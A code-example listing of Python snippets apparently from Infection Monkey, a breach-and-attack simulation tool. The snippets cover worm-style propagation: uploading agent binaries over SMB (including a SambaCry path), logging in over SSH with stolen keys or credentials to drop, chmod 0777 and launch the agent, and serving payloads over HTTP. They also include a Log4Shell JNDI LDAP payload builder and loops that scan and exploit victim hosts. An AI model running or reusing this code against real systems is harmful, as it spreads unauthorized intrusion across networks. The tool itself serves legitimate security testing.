Пример #1
0
    def upload_module(self, smb_client, share):
        """
        Uploads the module and all relevant files to server
        :param smb_client:          smb client object
        :param share:               share name
        """
        tree_id = smb_client.connectTree(share)

        with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)

        with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read)

        with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read)

        monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
        monkey_bin_64_src_path = get_target_monkey_by_os(False, False)

        with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read)

        with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
            smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
        T1105Telem(ScanStatus.USED,
                   get_interface_to_target(self.host.ip_addr),
                   self.host.ip_addr,
                   monkey_bin_64_src_path).send()
        smb_client.disconnectTree(tree_id)
Пример #2
0
    def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
        """
        Create http server for file transfer with a lock
        :param host: Variable with target's information
        :param src_path: Monkey's path on current system
        :param local_ip: IP where to host server
        :param local_port: Port at which to host monkey's download
        :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
        """
        # To avoid race conditions we pass a locked lock to http servers thread
        lock = Lock()
        lock.acquire()
        if not local_port:
            local_port = get_free_tcp_port()

        if not local_ip:
            local_ip = get_interface_to_target(host.ip_addr)

        if not firewall.listen_allowed():
            LOG.error(
                "Firewall is not allowed to listen for incomming ports. Aborting"
            )
            return None, None

        httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
        httpd.start()
        lock.acquire()
        return "http://%s:%s/%s" % (local_ip, local_port,
                                    urllib.parse.quote(
                                        os.path.basename(src_path))), httpd
Пример #3
0
    def set_tunnel_for_host(self, host):
        assert isinstance(host, VictimHost)

        if not self.local_port:
            return

        ip_match = get_interface_to_target(host.ip_addr)
        host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
Пример #4
0
Файл: http.py Проект: wau/monkey
 def report_download(dest=None):
     LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
     TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
                            get_interface_to_target(dest[0]),
                            dest[0], self._filename).send()
     self.downloads += 1
     if not self.downloads < self.max_downloads:
         return True
     return False
Пример #5
0
 def _start_http_server(self):
     """
     Starts custom http server that waits for GET requests
     :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
     """
     lock = threading.Lock()
     local_port = get_free_tcp_port()
     local_ip = get_interface_to_target(self.host.ip_addr)
     httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
     lock.acquire()
     httpd.start()
     lock.acquire()
     return httpd, lock
Пример #6
0
    def __init__(self, host: VictimHost):
        super().__init__(host)

        self._ldap_port = get_free_tcp_port()

        self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
        self._class_http_server_port = get_free_tcp_port()

        self._ldap_server = None
        self._exploit_class_http_server = None
        self._agent_http_server_thread = None
        self._open_ports = [
            int(port[0]) for port in WebRCE.get_open_service_ports(
                self.host, self.HTTP, ["http"])
        ]
Пример #7
0
    def create_transfer(host, src_path, local_ip=None, local_port=None):
        if not local_port:
            local_port = get_free_tcp_port()

        if not local_ip:
            local_ip = get_interface_to_target(host.ip_addr)

        if not firewall.listen_allowed():
            return None, None

        httpd = HTTPServer(local_ip, local_port, src_path)
        httpd.daemon = True
        httpd.start()

        return "http://%s:%s/%s" % (local_ip, local_port,
                                    urllib.parse.quote(
                                        os.path.basename(src_path))), httpd
Пример #8
0
    def download_pba_file(dst_dir, filename):
        """
        Handles post breach action file download
        :param dst_dir: Destination directory
        :param filename: Filename
        :return: True if successful, false otherwise
        """

        pba_file_contents = ControlClient.get_pba_file(filename)

        status = None
        if not pba_file_contents or not pba_file_contents.content:
            logger.error("Island didn't respond with post breach file.")
            status = ScanStatus.SCANNED

        if not status:
            status = ScanStatus.USED

        T1105Telem(
            status,
            WormConfiguration.current_server.split(":")[0],
            get_interface_to_target(
                WormConfiguration.current_server.split(":")[0]),
            filename,
        ).send()

        if status == ScanStatus.SCANNED:
            return False

        try:
            with open(os.path.join(dst_dir, filename),
                      "wb") as written_PBA_file:
                written_PBA_file.write(pba_file_contents.content)
            return True
        except IOError as e:
            logger.error(
                "Can not upload post breach file to target machine: %s" % e)
            return False
Пример #9
0
    def _exploit_host(self):

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in list(self.host.services.items()):
            if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
                port = int(servkey.replace("tcp-", ""))

        is_open, _ = check_tcp_port(self.host.ip_addr, port)
        if not is_open:
            logger.info("SSH port is closed on %r, skipping", self.host)
            return False

        try:
            ssh = self.exploit_with_ssh_keys(port)
        except FailedExploitationError:
            try:
                ssh = self.exploit_with_login_creds(port)
            except FailedExploitationError:
                logger.debug("Exploiter SSHExploiter is giving up...")
                return False

        if not self.host.os.get("type"):
            try:
                _, stdout, _ = ssh.exec_command("uname -o")
                uname_os = stdout.read().lower().strip().decode()
                if "linux" in uname_os:
                    self.host.os["type"] = "linux"
                else:
                    logger.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
                return False

        if not self.host.os.get("machine"):
            try:
                _, stdout, _ = ssh.exec_command("uname -m")
                uname_machine = stdout.read().lower().strip().decode()
                if "" != uname_machine:
                    self.host.os["machine"] = uname_machine
            except Exception as exc:
                logger.debug(
                    "Error running uname machine command on victim %r: (%s)", self.host, exc
                )

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command(
                "head -c 1 %s" % self._config.dropper_target_path_linux
            )
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                logger.info(
                    "Host %s was already infected under the current configuration, "
                    "done" % self.host
                )
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            logger.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(
                    file_obj,
                    self._config.dropper_target_path_linux,
                    file_size=monkeyfs.getsize(src_path),
                    callback=self.log_transfer,
                )
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)
                status = ScanStatus.USED
                T1222Telem(
                    ScanStatus.USED,
                    "chmod 0777 %s" % self._config.dropper_target_path_linux,
                    self.host,
                ).send()
            ftp.close()
        except Exception as exc:
            logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
            status = ScanStatus.SCANNED

        T1105Telem(
            status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
        ).send()
        if status == ScanStatus.SCANNED:
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
            cmdline += build_monkey_commandline(
                self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
            )
            cmdline += " > /dev/null 2>&1 &"
            ssh.exec_command(cmdline)

            logger.info(
                "Executed monkey '%s' on remote victim %r (cmdline=%r)",
                self._config.dropper_target_path_linux,
                self.host,
                cmdline,
            )

            ssh.close()
            self.add_executed_cmd(cmdline)
            return True

        except Exception as exc:
            logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
            return False
Пример #10
0
    def copy_file(host,
                  src_path,
                  dst_path,
                  username,
                  password,
                  lm_hash='',
                  ntlm_hash='',
                  timeout=60):
        assert monkeyfs.isfile(
            src_path), "Source file to copy (%s) is missing" % (src_path, )
        config = infection_monkey.config.WormConfiguration
        src_file_size = monkeyfs.getsize(src_path)

        smb, dialect = SmbTools.new_smb_connection(host, username, password,
                                                   lm_hash, ntlm_hash, timeout)
        if not smb:
            return None

        # skip guest users
        if smb.isGuestSession() > 0:
            LOG.debug(
                "Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s',"
                " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", host,
                username, Configuration.hash_sensitive_data(password),
                Configuration.hash_sensitive_data(lm_hash),
                Configuration.hash_sensitive_data(ntlm_hash))

            try:
                smb.logoff()
            except:
                pass

            return None

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
        except Exception as exc:
            LOG.debug("Error requesting server info from %r over SMB: %s",
                      host, exc)
            return None

        info = {
            'major_version':
            resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
            'minor_version':
            resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
            'server_name':
            resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
            'server_comment':
            resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
            'server_user_path':
            resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
            'simultaneous_users':
            resp['InfoStruct']['ServerInfo102']['sv102_users']
        }

        LOG.debug("Connected to %r using %s:\n%s", host, dialect,
                  pprint.pformat(info))

        try:
            resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
        except Exception as exc:
            LOG.debug("Error enumerating server shares from %r over SMB: %s",
                      host, exc)
            return None

        resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']

        high_priority_shares = ()
        low_priority_shares = ()
        file_name = ntpath.split(dst_path)[-1]

        for i in range(len(resp)):
            share_name = resp[i]['shi2_netname'].strip("\0 ")
            share_path = resp[i]['shi2_path'].strip("\0 ")
            current_uses = resp[i]['shi2_current_uses']
            max_uses = resp[i]['shi2_max_uses']

            if current_uses >= max_uses:
                LOG.debug(
                    "Skipping share '%s' on victim %r because max uses is exceeded",
                    share_name, host)
                continue
            elif not share_path:
                LOG.debug(
                    "Skipping share '%s' on victim %r because share path is invalid",
                    share_name, host)
                continue

            share_info = {'share_name': share_name, 'share_path': share_path}

            if dst_path.lower().startswith(share_path.lower()):
                high_priority_shares += ((ntpath.sep +
                                          dst_path[len(share_path):],
                                          share_info), )

            low_priority_shares += ((ntpath.sep + file_name, share_info), )

        shares = high_priority_shares + low_priority_shares

        file_uploaded = False
        for remote_path, share in shares:
            share_name = share['share_name']
            share_path = share['share_path']

            if not smb:
                smb, _ = SmbTools.new_smb_connection(host, username, password,
                                                     lm_hash, ntlm_hash,
                                                     timeout)
                if not smb:
                    return None

            try:
                tid = smb.connectTree(share_name)
            except Exception as exc:
                LOG.debug(
                    "Error connecting tree to share '%s' on victim %r: %s",
                    share_name, host, exc)
                continue

            LOG.debug(
                "Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
                share_name,
                share_path,
                remote_path,
                host.ip_addr[0],
            )

            remote_full_path = ntpath.join(share_path,
                                           remote_path.strip(ntpath.sep))

            # check if file is found on destination
            if config.skip_exploit_if_file_exist:
                try:
                    file_info = smb.listPath(share_name, remote_path)
                    if file_info:
                        if src_file_size == file_info[0].get_filesize():
                            LOG.debug(
                                "Remote monkey file is same as source, skipping copy"
                            )
                            return remote_full_path

                        LOG.debug(
                            "Remote monkey file is found but different, moving along with attack"
                        )
                except:
                    pass  # file isn't found on remote victim, moving on

            try:
                with monkeyfs.open(src_path, 'rb') as source_file:
                    # make sure of the timeout
                    smb.setTimeout(timeout)
                    smb.putFile(share_name, remote_path, source_file.read)

                file_uploaded = True
                T1105Telem(ScanStatus.USED,
                           get_interface_to_target(host.ip_addr), host.ip_addr,
                           dst_path).send()
                LOG.info(
                    "Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
                    src_path, share_name, share_path, host)

                break
            except Exception as exc:
                LOG.debug(
                    "Error uploading monkey to share '%s' on victim %r: %s",
                    share_name, host, exc)
                T1105Telem(ScanStatus.SCANNED,
                           get_interface_to_target(host.ip_addr), host.ip_addr,
                           dst_path).send()
                continue
            finally:
                try:
                    smb.logoff()
                except:
                    pass

                smb = None

        if not file_uploaded:
            LOG.debug(
                "Couldn't find a writable share for exploiting victim %r with "
                "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
                host, username, Configuration.hash_sensitive_data(password),
                Configuration.hash_sensitive_data(lm_hash),
                Configuration.hash_sensitive_data(ntlm_hash))
            return None

        return remote_full_path
Пример #11
0
    def run(self):
        self._broad_sock = _set_multicast_socket(self._timeout)
        self.l_ips = local_ips()
        self.local_port = get_free_tcp_port()

        if not self.local_port:
            return

        if not firewall.listen_allowed(localport=self.local_port):
            LOG.info(
                "Machine firewalled, listen not allowed, not running tunnel.")
            return

        proxy = self._proxy_class(local_port=self.local_port,
                                  dest_host=self._target_addr,
                                  dest_port=self._target_port)
        LOG.info(
            "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s",
            proxy.__class__.__name__, self.local_port, self._target_addr,
            self._target_port)
        proxy.start()

        while not self._stopped:
            try:
                search, address = self._broad_sock.recvfrom(BUFFER_READ)
                if b'?' == search:
                    ip_match = get_interface_to_target(address[0])
                    if ip_match:
                        answer = '%s:%d' % (ip_match, self.local_port)
                        LOG.debug(
                            "Got tunnel request from %s, answering with %s",
                            address[0], answer)
                        self._broad_sock.sendto(answer.encode(),
                                                (address[0], MCAST_PORT))
                elif b'+' == search:
                    if not address[0] in self._clients:
                        LOG.debug("Tunnel control: Added %s to watchlist",
                                  address[0])
                        self._clients.append(address[0])
                elif b'-' == search:
                    LOG.debug("Tunnel control: Removed %s from watchlist",
                              address[0])
                    self._clients = [
                        client for client in self._clients
                        if client != address[0]
                    ]

            except socket.timeout:
                continue

        LOG.info("Stopping tunnel, waiting for clients: %s" %
                 repr(self._clients))

        # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in QUIT_TIMEOUT seconds
        while self._clients and (time.time() - get_last_serve_time() <
                                 QUIT_TIMEOUT):
            try:
                search, address = self._broad_sock.recvfrom(BUFFER_READ)
                if b'-' == search:
                    LOG.debug("Tunnel control: Removed %s from watchlist",
                              address[0])
                    self._clients = [
                        client for client in self._clients
                        if client != address[0]
                    ]
            except socket.timeout:
                continue

        LOG.info("Closing tunnel")
        self._broad_sock.close()
        proxy.stop()
        proxy.join()
Пример #12
0
    def start(self):
        try:
            LOG.info("Monkey is starting...")

            LOG.debug("Starting the setup phase.")
            # Sets island's IP and port for monkey to communicate to
            self.set_default_server()
            self.set_default_port()

            # Create a dir for monkey files if there isn't one
            create_monkey_dir()

            self.upgrade_to_64_if_needed()

            ControlClient.wakeup(parent=self._parent)
            ControlClient.load_control_config()

            if is_windows_os():
                T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()

            self.shutdown_by_not_alive_config()

            if self.is_started_on_island():
                ControlClient.report_start_on_island()
            ControlClient.should_monkey_run(self._opts.vulnerable_port)

            if firewall.is_enabled():
                firewall.add_firewall_rule()

            monkey_tunnel = ControlClient.create_control_tunnel()
            if monkey_tunnel:
                monkey_tunnel.start()

            StateTelem(is_done=False, version=get_version()).send()
            TunnelTelem().send()

            LOG.debug("Starting the post-breach phase.")
            self.collect_system_info_if_configured()
            PostBreach().execute_all_configured()

            LOG.debug("Starting the propagation phase.")
            self.shutdown_by_max_depth_reached()

            for iteration_index in range(WormConfiguration.max_iterations):
                ControlClient.keepalive()
                ControlClient.load_control_config()

                self._network.initialize()

                self._fingerprint = HostFinger.get_instances()

                self._exploiters = HostExploiter.get_classes()

                if not self._keep_running or not WormConfiguration.alive:
                    break

                machines = self._network.get_victim_machines(
                    max_find=WormConfiguration.victims_max_find,
                    stop_callback=ControlClient.check_for_stop)
                is_empty = True
                for machine in machines:
                    if ControlClient.check_for_stop():
                        break

                    is_empty = False
                    for finger in self._fingerprint:
                        LOG.info(
                            "Trying to get OS fingerprint from %r with module %s",
                            machine, finger.__class__.__name__)
                        finger.get_host_fingerprint(machine)

                    ScanTelem(machine).send()

                    # skip machines that we've already exploited
                    if machine in self._exploited_machines:
                        LOG.debug("Skipping %r - already exploited", machine)
                        continue
                    elif machine in self._fail_exploitation_machines:
                        if WormConfiguration.retry_failed_explotation:
                            LOG.debug(
                                "%r - exploitation failed before, trying again",
                                machine)
                        else:
                            LOG.debug(
                                "Skipping %r - exploitation failed before",
                                machine)
                            continue

                    if monkey_tunnel:
                        monkey_tunnel.set_tunnel_for_host(machine)
                    if self._default_server:
                        if self._network.on_island(self._default_server):
                            machine.set_default_server(
                                get_interface_to_target(machine.ip_addr) +
                                (':' + self._default_server_port if self.
                                 _default_server_port else ''))
                        else:
                            machine.set_default_server(self._default_server)
                        LOG.debug("Default server for machine: %r set to %s" %
                                  (machine, machine.default_server))

                    # Order exploits according to their type
                    self._exploiters = sorted(
                        self._exploiters,
                        key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
                    host_exploited = False
                    for exploiter in [
                            exploiter(machine)
                            for exploiter in self._exploiters
                    ]:
                        if self.try_exploiting(machine, exploiter):
                            host_exploited = True
                            VictimHostTelem('T1210',
                                            ScanStatus.USED,
                                            machine=machine).send()
                            break
                    if not host_exploited:
                        self._fail_exploitation_machines.add(machine)
                        VictimHostTelem('T1210',
                                        ScanStatus.SCANNED,
                                        machine=machine).send()
                    if not self._keep_running:
                        break

                if (not is_empty) and (WormConfiguration.max_iterations >
                                       iteration_index + 1):
                    time_to_sleep = WormConfiguration.timeout_between_iterations
                    LOG.info(
                        "Sleeping %d seconds before next life cycle iteration",
                        time_to_sleep)
                    time.sleep(time_to_sleep)

            if self._keep_running and WormConfiguration.alive:
                LOG.info("Reached max iterations (%d)",
                         WormConfiguration.max_iterations)
            elif not WormConfiguration.alive:
                LOG.info("Marked not alive from configuration")

            # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
            # connect to the tunnel
            if len(self._exploited_machines) > 0:
                time_to_sleep = WormConfiguration.keep_tunnel_open_time
                LOG.info(
                    "Sleeping %d seconds for exploited machines to connect to tunnel",
                    time_to_sleep)
                time.sleep(time_to_sleep)

            if monkey_tunnel:
                monkey_tunnel.stop()
                monkey_tunnel.join()
        except PlannedShutdownException:
            LOG.info(
                "A planned shutdown of the Monkey occurred. Logging the reason and finishing execution."
            )
            LOG.exception("Planned shutdown, reason:")
Пример #13
0
 def _build_ldap_payload(self) -> str:
     interface_ip = get_interface_to_target(self.host.ip_addr)
     return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
Пример #14
0
    def propagate(self):
        for iteration_index in range(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            self._network.initialize()

            self._fingerprint = HostFinger.get_instances()

            self._exploiters = HostExploiter.get_classes()

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop,
            )
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    logger.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine,
                        finger.__class__.__name__,
                    )
                    try:
                        finger.get_host_fingerprint(machine)
                    except BaseException as exc:
                        logger.error(
                            "Failed to run fingerprinter %s, exception %s"
                            % finger.__class__.__name__,
                            str(exc),
                        )

                ScanTelem(machine).send()

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    logger.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        logger.debug("%r - exploitation failed before, trying again", machine)
                    else:
                        logger.debug("Skipping %r - exploitation failed before", machine)
                        continue

                if self._monkey_tunnel:
                    self._monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    if self._network.on_island(self._default_server):
                        machine.set_default_server(
                            get_interface_to_target(machine.ip_addr)
                            + (":" + self._default_server_port if self._default_server_port else "")
                        )
                    else:
                        machine.set_default_server(self._default_server)
                    logger.debug(
                        "Default server for machine: %r set to %s"
                        % (machine, machine.default_server)
                    )

                # Order exploits according to their type
                self._exploiters = sorted(
                    self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value
                )
                host_exploited = False
                for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
                    if self.try_exploiting(machine, exploiter):
                        host_exploited = True
                        VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send()
                        if exploiter.RUNS_AGENT_ON_SUCCESS:
                            break  # if adding machine to exploited, won't try other exploits
                            # on it
                if not host_exploited:
                    self._fail_exploitation_machines.add(machine)
                    VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send()
                if not self._keep_running:
                    break

            if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                logger.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            logger.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            logger.info("Marked not alive from configuration")